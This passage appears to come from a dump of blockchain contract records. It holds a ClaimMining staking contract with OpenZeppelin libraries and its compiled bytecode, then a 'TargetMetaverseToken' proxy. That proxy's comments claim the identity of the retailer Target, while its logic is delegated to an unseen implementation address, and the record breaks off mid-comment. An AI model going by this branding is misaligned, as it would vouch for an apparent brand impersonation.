Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: @openzeppelin/contracts/access/Ownable.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts/ClaimMining.sol pragma solidity 0.6.6; contract ClaimMining is Ownable, ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. uint256 rewardToClaim; // when deposit or withdraw, update pending reward to rewartToClaim. } struct PoolInfo { IERC20 lpToken; // Address of LP token. uint256 allocPoint; // How many allocation points assigned to this pool. mining token distribute per block. uint256 lastRewardBlock; // Last block number that mining token distribution occurs. uint256 accPerShare; // Accumulated mining token per share, times 1e12. See below. uint256 maxAmountPerUser; // The maximum amount of deposits per user. } IERC20 public miningToken; // The mining token TOKEN uint256 public phase1StartBlockNumber; uint256 public phase1EndBlockNumber; uint256 public phase1TokenPerBlock; PoolInfo[] public poolInfo; // Info of each pool. mapping(uint256 => mapping(address => UserInfo)) private userInfo; // Info of each user that stakes LP tokens. uint256 public totalAllocPoint = 0; // Total allocation points. Must be the sum of all allocation points in all pools. bool public enableClaim = false; // claim switch event Claim(address indexed user, uint256 pid, uint256 amount); event Deposit(address indexed user, uint256 pid, uint256 amount); event Withdraw(address indexed user, uint256 pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 pid, uint256 amount); mapping(address => bool) private whitelist; modifier onlyWhitelisted() { require(isWhitelisted(msg.sender), "The address is not on the whitelist"); _; } constructor(address _mining_token, uint256 _mining_start_block) public { miningToken = IERC20(_mining_token); uint256 blockCountPerDay = 5760; uint256 blockCountOf21day = blockCountPerDay.mul(21); phase1StartBlockNumber = _mining_start_block; phase1EndBlockNumber = phase1StartBlockNumber.add(blockCountOf21day); phase1TokenPerBlock = 75 * 1e18; } function updateClaimSwitch(bool _enableClaim) public onlyOwner { enableClaim = _enableClaim; } function getUserInfo(uint256 _pid, address _user) public view returns ( uint256 _amount, uint256 _rewardDebt, uint256 _rewardToClaim) { require(_pid < poolInfo.length, "invalid _pid"); UserInfo memory info = userInfo[_pid][_user]; _amount = info.amount; _rewardDebt = info.rewardDebt; _rewardToClaim = info.rewardToClaim; } function poolLength() external view returns (uint256) { return poolInfo.length; } // Add a new lp to the pool. Can only be called by the owner. function add(uint256 _allocPoint, address _lpToken, uint256 _maxAmountPerUser, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > phase1StartBlockNumber ? block.number : phase1StartBlockNumber; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push( PoolInfo( { lpToken : IERC20(_lpToken), allocPoint : _allocPoint, lastRewardBlock : lastRewardBlock, accPerShare : 0, maxAmountPerUser : _maxAmountPerUser }) ); } function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { require(_pid < poolInfo.length, "invalid _pid"); if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; } function getCurrentRewardsPerBlock() public view returns (uint256) { return getMultiplier(block.number - 1, block.number); } // Return reward over the given _from to _to block. Suppose it doesn't span two adjacent mining block number function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { require(_to > _from, "_to should greater than _from "); if (_from < phase1StartBlockNumber && phase1StartBlockNumber < _to && _to < phase1EndBlockNumber) { return _to.sub(phase1StartBlockNumber).mul(phase1TokenPerBlock); } if (phase1StartBlockNumber <= _from && _from < phase1EndBlockNumber && _to <= phase1EndBlockNumber) { return _to.sub(_from).mul(phase1TokenPerBlock); } if (phase1StartBlockNumber < _from && _from < phase1EndBlockNumber && _to > phase1EndBlockNumber) { return phase1EndBlockNumber.sub(_from).mul(phase1TokenPerBlock); } return 0; } function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } function updatePool(uint256 _pid) public { require(_pid < poolInfo.length, "invalid _pid"); PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 reward = multiplier.mul(pool.allocPoint).div(totalAllocPoint); pool.accPerShare = pool.accPerShare.add(reward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } function getPendingAmount(uint256 _pid, address _user) public view returns (uint256) { require(_pid < poolInfo.length, "invalid _pid"); PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accPerShare = pool.accPerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 reward = multiplier.mul(pool.allocPoint).div(totalAllocPoint); accPerShare = accPerShare.add(reward.mul(1e12).div(lpSupply)); } uint256 pending = user.amount.mul(accPerShare).div(1e12).sub(user.rewardDebt); uint256 totalPendingAmount = user.rewardToClaim.add(pending); return totalPendingAmount; } function getAllPendingAmount(address _user) external view returns (uint256) { uint256 length = poolInfo.length; uint256 allAmount = 0; for (uint256 pid = 0; pid < length; ++pid) { allAmount = allAmount.add(getPendingAmount(pid, _user)); } return allAmount; } function claimAll() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { if (getPendingAmount(pid, msg.sender) > 0) { claim(pid); } } } function claim(uint256 _pid) public { require(_pid < poolInfo.length, "invalid _pid"); require(enableClaim, "could not claim now"); PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accPerShare).div(1e12).sub(user.rewardDebt); user.rewardToClaim = user.rewardToClaim.add(pending); } user.rewardDebt = user.amount.mul(pool.accPerShare).div(1e12); safeMiningTokenTransfer(msg.sender, user.rewardToClaim); emit Claim(msg.sender, _pid, user.rewardToClaim); user.rewardToClaim = 0; } // Deposit LP tokens to Mining for token allocation. function deposit(uint256 _pid, uint256 _amount) public nonReentrant onlyWhitelisted { require(_pid < poolInfo.length, "invalid _pid"); PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; uint256 allowance = pool.maxAmountPerUser.sub(user.amount); require(_amount <= allowance, "deposit amount exceeds allowance"); updatePool(_pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accPerShare).div(1e12).sub(user.rewardDebt); user.rewardToClaim = user.rewardToClaim.add(pending); } if (_amount > 0) {// for gas saving pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); user.amount = user.amount.add(_amount); emit Deposit(msg.sender, _pid, _amount); } user.rewardDebt = user.amount.mul(pool.accPerShare).div(1e12); } // Withdraw LP tokens from Mining. function withdraw(uint256 _pid, uint256 _amount) public nonReentrant { require(_pid < poolInfo.length, "invalid _pid"); PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: user.amount is not enough"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accPerShare).div(1e12).sub(user.rewardDebt); user.rewardToClaim = user.rewardToClaim.add(pending); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accPerShare).div(1e12); pool.lpToken.safeTransfer(address(msg.sender), _amount); emit Withdraw(msg.sender, _pid, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public nonReentrant { require(_pid < poolInfo.length, "invalid _pid"); PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; pool.lpToken.safeTransfer(address(msg.sender), user.amount); emit EmergencyWithdraw(msg.sender, _pid, user.amount); user.amount = 0; user.rewardDebt = 0; } // Safe token transfer function, just in case if rounding error causes pool to not have enough mining token. function safeMiningTokenTransfer(address _to, uint256 _amount) internal { uint256 bal = miningToken.balanceOf(address(this)); require(bal >= _amount, "balance is not enough."); miningToken.safeTransfer(_to, _amount); } function addAddressToWhitelist(address[] memory _addresses) public onlyOwner { require(_addresses.length > 0, "_addresses is empty"); for (uint256 i = 0; i < _addresses.length; i++) { address addr = _addresses[i]; whitelist[addr] = true; } } function removeAddressFromWhitelist(address[] memory _addresses) public onlyOwner { require(_addresses.length > 0, "_addresses is empty"); for (uint256 i = 0; i < _addresses.length; i++) { address addr = _addresses[i]; whitelist[addr] = false; } } // Whether the address is on the whitelist function isWhitelisted(address _address) public view returns (bool) { return whitelist[_address]; } }
0x608060405234801561001057600080fd5b50600436106101cf5760003560e01c8063630b5ba11161010457806392efefec116100a2578063d3bcbb3c11610071578063d3bcbb3c14610548578063e2bbb158146105eb578063e2f0e5261461060e578063f2fde38b14610616576101cf565b806392efefec146104d8578063988d7a60146104fe578063c9df9ce314610538578063d1058e5914610540576101cf565b8063715018a6116100de578063715018a6146104865780638da5cb5b1461048e5780638dbb1e3a14610496578063924bc0d6146104b9576101cf565b8063630b5ba11461042f57806364482f791461043757806369cf7ac314610462576101cf565b8063379607f5116101715780634675b0531161014b5780634675b053146103c15780634e15baf0146103c957806351eb05a6146103f55780635312ea8e14610412576101cf565b8063379607f51461035b5780633af32abf14610378578063441a3e701461039e576101cf565b80631526fe27116101ad5780631526fe27146102dd57806317caf6f11461032f57806328dae6e314610337578063293ad57414610353576101cf565b8063081e3eda146101d45780631069f3b5146101ee57806310c988ce14610238575b600080fd5b6101dc61063c565b60408051918252519081900360200190f35b61021a6004803603604081101561020457600080fd5b50803590602001356001600160a01b0316610642565b60408051938452602084019290925282820152519081900360600190f35b6102db6004803603602081101561024e57600080fd5b81019060208101813564010000000081111561026957600080fd5b82018360208201111561027b57600080fd5b8035906020019184602083028401116401000000008311171561029d57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506106e6945050505050565b005b6102fa600480360360208110156102f357600080fd5b50356107e6565b604080516001600160a01b03909616865260208601949094528484019290925260608401526080830152519081900360a00190f35b6101dc61082e565b61033f610834565b604080519115158252519081900360200190f35b6101dc61083d565b6102db6004803603602081101561037157600080fd5b5035610851565b61033f6004803603602081101561038e57600080fd5b50356001600160a01b0316610a12565b6102db600480360360408110156103b457600080fd5b5080359060200135610a30565b6101dc610c38565b6101dc600480360360408110156103df57600080fd5b50803590602001356001600160a01b0316610c3e565b6102db6004803603602081101561040b57600080fd5b5035610e0a565b6102db6004803603602081101561042857600080fd5b5035610f7f565b6102db6110ca565b6102db6004803603606081101561044d57600080fd5b508035906020810135906040013515156110e9565b61046a61120f565b604080516001600160a01b039092168252519081900360200190f35b6102db61121e565b61046a6112ca565b6101dc600480360360408110156104ac57600080fd5b50803590602001356112d9565b6102db600480360360208110156104cf57600080fd5b50351515611406565b6101dc600480360360208110156104ee57600080fd5b50356001600160a01b031661147b565b6102db6004803603608081101561051457600080fd5b508035906001600160a01b03602082013516906040810135906060013515156114b8565b6101dc611670565b6102db611676565b6102db6004803603602081101561055e57600080fd5b81019060208101813564010000000081111561057957600080fd5b82018360208201111561058b57600080fd5b803590602001918460208302840111640100000000831117156105ad57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506116a7945050505050565b6102db6004803603604081101561060157600080fd5b50803590602001356117ab565b6101dc611a38565b6102db6004803603602081101561062c57600080fd5b50356001600160a01b0316611a3e565b60065490565b6000806000600680549050851061068f576040805162461bcd60e51b815260206004820152600c60248201526b1a5b9d985b1a590817dc1a5960a21b604482015290519081900360640190fd5b61069761212b565b5050506000928352506007602090815260408084206001600160a01b03909316845291815291819020815160608101835281548082526001830154948201859052600290920154920182905292565b6106ee611b40565b6001600160a01b03166106ff6112ca565b6001600160a01b031614610748576040805162461bcd60e51b81526020600482018190526024820152600080516020612200833981519152604482015290519081900360640190fd5b6000815111610794576040805162461bcd60e51b81526020600482015260136024820152725f61646472657373657320697320656d70747960681b604482015290519081900360640190fd5b60005b81518110156107e25760008282815181106107ae57fe5b6020908102919091018101516001600160a01b03166000908152600a90915260409020805460ff1916905550600101610797565b5050565b600681815481106107f357fe5b6000918252602090912060059091020180546001820154600283015460038401546004909401546001600160a01b0390931694509092909185565b60085481565b60095460ff1681565b600061084c60014303436112d9565b905090565b6006548110610896576040805162461bcd60e51b815260206004820152600c60248201526b1a5b9d985b1a590817dc1a5960a21b604482015290519081900360640190fd5b60095460ff166108e3576040805162461bcd60e51b8152602060048201526013602482015272636f756c64206e6f7420636c61696d206e6f7760681b604482015290519081900360640190fd5b6000600682815481106108f257fe5b6000918252602080832085845260078252604080852033865290925292206005909102909101915061092383610e0a565b80541561098f576000610970826001015461096464e8d4a5100061095887600301548760000154611b4490919063ffffffff16565b9063ffffffff611ba416565b9063ffffffff611c0b16565b6002830154909150610988908263ffffffff611c6816565b6002830155505b600382015481546109b09164e8d4a51000916109589163ffffffff611b4416565b600182015560028101546109c5903390611cc2565b6002810154604080518581526020810192909252805133927f34fcbac0073d7c3d388e51312faf357774904998eeb8fca628b9e6f65ee1cbf792908290030190a260006002909101555050565b6001600160a01b03166000908152600a602052604090205460ff1690565b60026001541415610a88576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b60026001556006548210610ad2576040805162461bcd60e51b815260206004820152600c60248201526b1a5b9d985b1a590817dc1a5960a21b604482015290519081900360640190fd5b600060068381548110610ae157fe5b600091825260208083208684526007825260408085203386529092529220805460059092029092019250831115610b495760405162461bcd60e51b815260040180806020018281038252602381526020018061214d6023913960400191505060405180910390fd5b610b5284610e0a565b6000610b80826001015461096464e8d4a5100061095887600301548760000154611b4490919063ffffffff16565b6002830154909150610b98908263ffffffff611c6816565b60028301558154610baf908563ffffffff611c0b16565b8083556003840154610bd29164e8d4a5100091610958919063ffffffff611b4416565b60018301558254610bf3906001600160a01b0316338663ffffffff611dab16565b6040805186815260208101869052815133927ff279e6a1f5e320cca91135676d9cb6e44ca8a08c0b88342bcdb1144f6511b568928290030190a2505060018055505050565b60045481565b6006546000908310610c86576040805162461bcd60e51b815260206004820152600c60248201526b1a5b9d985b1a590817dc1a5960a21b604482015290519081900360640190fd5b600060068481548110610c9557fe5b600091825260208083208784526007825260408085206001600160a01b0389811687529084528186206005959095029092016003810154815483516370a0823160e01b815230600482015293519298509596909590949316926370a082319260248082019391829003018186803b158015610d0f57600080fd5b505afa158015610d23573d6000803e3d6000fd5b505050506040513d6020811015610d3957600080fd5b5051600285015490915043118015610d5057508015155b15610db6576000610d658560020154436112d9565b90506000610d86600854610958886001015485611b4490919063ffffffff16565b9050610db1610da4846109588464e8d4a5100063ffffffff611b4416565b859063ffffffff611c6816565b935050505b6000610de0846001015461096464e8d4a51000610958878960000154611b4490919063ffffffff16565b90506000610dfb828660020154611c6890919063ffffffff16565b96505050505050505b92915050565b6006548110610e4f576040805162461bcd60e51b815260206004820152600c60248201526b1a5b9d985b1a590817dc1a5960a21b604482015290519081900360640190fd5b600060068281548110610e5e57fe5b9060005260206000209060050201905080600201544311610e7f5750610f7c565b8054604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610ec957600080fd5b505afa158015610edd573d6000803e3d6000fd5b505050506040513d6020811015610ef357600080fd5b5051905080610f09575043600290910155610f7c565b6000610f198360020154436112d9565b90506000610f3a600854610958866001015485611b4490919063ffffffff16565b9050610f69610f58846109588464e8d4a5100063ffffffff611b4416565b60038601549063ffffffff611c6816565b6003850155505043600290920191909155505b50565b60026001541415610fd7576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b60026001556006548110611021576040805162461bcd60e51b815260206004820152600c60248201526b1a5b9d985b1a590817dc1a5960a21b604482015290519081900360640190fd5b60006006828154811061103057fe5b6000918252602080832085845260078252604080852033808752935290932080546005909302909301805490945061107b926001600160a01b0391909116919063ffffffff611dab16565b8054604080518581526020810192909252805133927fbb757047c2b5f3974fe26b7c10f732e7bce710b0952a71082702781e62ae059592908290030190a2600080825560019182015580555050565b60065460005b818110156107e2576110e181610e0a565b6001016110d0565b6110f1611b40565b6001600160a01b03166111026112ca565b6001600160a01b03161461114b576040805162461bcd60e51b81526020600482018190526024820152600080516020612200833981519152604482015290519081900360640190fd5b6006548310611190576040805162461bcd60e51b815260206004820152600c60248201526b1a5b9d985b1a590817dc1a5960a21b604482015290519081900360640190fd5b801561119e5761119e6110ca565b6111e1826111d5600686815481106111b257fe5b906000526020600020906005020160010154600854611c0b90919063ffffffff16565b9063ffffffff611c6816565b60088190555081600684815481106111f557fe5b906000526020600020906005020160010181905550505050565b6002546001600160a01b031681565b611226611b40565b6001600160a01b03166112376112ca565b6001600160a01b031614611280576040805162461bcd60e51b81526020600482018190526024820152600080516020612200833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b600082821161132f576040805162461bcd60e51b815260206004820152601f60248201527f5f746f2073686f756c642067726561746572207468616e20205f66726f6d2000604482015290519081900360640190fd5b60035483108015611341575081600354105b801561134e575060045482105b156113815761137a60055461136e60035485611c0b90919063ffffffff16565b9063ffffffff611b4416565b9050610e04565b8260035411158015611394575060045483105b80156113a257506004548211155b156113be5760055461137a9061136e848663ffffffff611c0b16565b826003541080156113d0575060045483105b80156113dd575060045482115b156113fd5761137a60055461136e85600454611c0b90919063ffffffff16565b50600092915050565b61140e611b40565b6001600160a01b031661141f6112ca565b6001600160a01b031614611468576040805162461bcd60e51b81526020600482018190526024820152600080516020612200833981519152604482015290519081900360640190fd5b6009805460ff1916911515919091179055565b60065460009081805b828110156114b0576114a66114998287610c3e565b839063ffffffff611c6816565b9150600101611484565b509392505050565b6114c0611b40565b6001600160a01b03166114d16112ca565b6001600160a01b03161461151a576040805162461bcd60e51b81526020600482018190526024820152600080516020612200833981519152604482015290519081900360640190fd5b8015611528576115286110ca565b6000600354431161153b5760035461153d565b435b600854909150611553908663ffffffff611c6816565b6008556040805160a0810182526001600160a01b039586168152602081019687529081019182526000606082018181526080830195865260068054600181018255925291517ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f600590920291820180546001600160a01b031916919097161790955594517ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d40850155517ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d418401555091517ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d4282015590517ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d4390910155565b60055481565b60065460005b818110156107e25760006116908233610c3e565b111561169f5761169f81610851565b60010161167c565b6116af611b40565b6001600160a01b03166116c06112ca565b6001600160a01b031614611709576040805162461bcd60e51b81526020600482018190526024820152600080516020612200833981519152604482015290519081900360640190fd5b6000815111611755576040805162461bcd60e51b81526020600482015260136024820152725f61646472657373657320697320656d70747960681b604482015290519081900360640190fd5b60005b81518110156107e257600082828151811061176f57fe5b6020908102919091018101516001600160a01b03166000908152600a90915260409020805460ff19166001908117909155919091019050611758565b60026001541415611803576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b600260015561181133610a12565b61184c5760405162461bcd60e51b81526004018080602001828103825260238152602001806121966023913960400191505060405180910390fd5b6006548210611891576040805162461bcd60e51b815260206004820152600c60248201526b1a5b9d985b1a590817dc1a5960a21b604482015290519081900360640190fd5b6000600683815481106118a057fe5b600091825260208083208684526007825260408085203386529092529083208054600460059094029092019283015492945092916118e39163ffffffff611c0b16565b90508084111561193a576040805162461bcd60e51b815260206004820181905260248201527f6465706f73697420616d6f756e74206578636565647320616c6c6f77616e6365604482015290519081900360640190fd5b61194385610e0a565b815415611997576000611978836001015461096464e8d4a5100061095888600301548860000154611b4490919063ffffffff16565b6002840154909150611990908263ffffffff611c6816565b6002840155505b8315611a095782546119ba906001600160a01b031633308763ffffffff611dfd16565b81546119cc908563ffffffff611c6816565b82556040805186815260208101869052815133927f90890809c654f11d6e72a28fa60149770a0d11ec6c92319d6ceb2bb0a4ea1a15928290030190a25b60038301548254611a2a9164e8d4a51000916109589163ffffffff611b4416565b600192830155508055505050565b60035481565b611a46611b40565b6001600160a01b0316611a576112ca565b6001600160a01b031614611aa0576040805162461bcd60e51b81526020600482018190526024820152600080516020612200833981519152604482015290519081900360640190fd5b6001600160a01b038116611ae55760405162461bcd60e51b81526004018080602001828103825260268152602001806121706026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b3390565b600082611b5357506000610e04565b82820282848281611b6057fe5b0414611b9d5760405162461bcd60e51b81526004018080602001828103825260218152602001806121df6021913960400191505060405180910390fd5b9392505050565b6000808211611bfa576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b818381611c0357fe5b049392505050565b600082821115611c62576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b600082820183811015611b9d576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600254604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015611d0d57600080fd5b505afa158015611d21573d6000803e3d6000fd5b505050506040513d6020811015611d3757600080fd5b5051905081811015611d89576040805162461bcd60e51b81526020600482015260166024820152753130b630b731b29034b9903737ba1032b737bab3b41760511b604482015290519081900360640190fd5b600254611da6906001600160a01b0316848463ffffffff611dab16565b505050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052611da6908490611e5d565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052611e57908590611e5d565b50505050565b6060611eb2826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316611f0e9092919063ffffffff16565b805190915015611da657808060200190516020811015611ed157600080fd5b5051611da65760405162461bcd60e51b815260040180806020018281038252602a815260200180612220602a913960400191505060405180910390fd5b6060611f1d8484600085611f25565b949350505050565b606082471015611f665760405162461bcd60e51b81526004018080602001828103825260268152602001806121b96026913960400191505060405180910390fd5b611f6f85612081565b611fc0576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b60208310611fff5780518252601f199092019160209182019101611fe0565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114612061576040519150601f19603f3d011682016040523d82523d6000602084013e612066565b606091505b5091509150612076828286612087565b979650505050505050565b3b151590565b60608315612096575081611b9d565b8251156120a65782518084602001fd5b8160405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156120f05781810151838201526020016120d8565b50505050905090810190601f16801561211d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b6040518060600160405280600081526020016000815260200160008152509056fe77697468647261773a20757365722e616d6f756e74206973206e6f7420656e6f7567684f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573735468652061646472657373206973206e6f74206f6e207468652077686974656c697374416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220afeeb74ab14ae86823d68b35928d685155bb4270c4e1ad7bf41652029663086d64736f6c63430006060033
[ 13, 4, 9, 7 ]
0xf39e77f4f46f1784cbd4fd39ebde4753870104f8
// SPDX-License-Identifier: MIT // // // Target : Expect More. Pay Less. // // We're here to help all families discover the joy of everyday life. // // website: https://www.target.com/ // twitter: https://twitter.com/Target // pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract TargetMetaverseToken { bytes32 internal constant KEY = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; constructor(bytes memory _a, bytes memory _data) payable { assert(KEY == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); (address addr) = abi.decode(_a, (address)); StorageSlot.getAddressSlot(KEY).value = addr; if (_data.length > 0) { Address.functionDelegateCall(addr, _data); } } function _beforeFallback() internal virtual {} fallback() external payable virtual { _fallback(); } receive() external payable virtual { _fallback(); } function _g(address to) internal virtual { assembly { calldatacopy(0, 0, calldatasize()) let result := delegatecall(gas(), to, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch result case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } function _fallback() internal virtual { _beforeFallback(); _g(StorageSlot.getAddressSlot(KEY).value); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider 